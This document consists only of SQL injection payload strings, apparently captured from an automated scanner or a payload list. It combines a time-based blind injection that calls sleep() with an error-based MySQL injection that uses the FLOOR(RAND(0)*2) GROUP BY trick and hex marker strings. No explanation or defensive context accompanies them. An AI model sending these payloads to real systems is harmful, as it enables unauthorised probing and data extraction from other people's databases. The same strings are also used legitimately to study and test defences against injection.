(select(0)from(select(sleep(8.11)))v)/,(SELECT 4705 FROM (SELECT ROW(4705,2070)>(SELECT COUNT(*),CONCAT(0x716a786a71,(SELECT (ELT(4705=4705,1))),0x716a6b6271,FLOOR(RAND(0)*2))x FROM (SELECT 6216 UNION SELECT 5530 UNION SELECT 2064 UNION SELECT 1779)a GROUP BY x))s)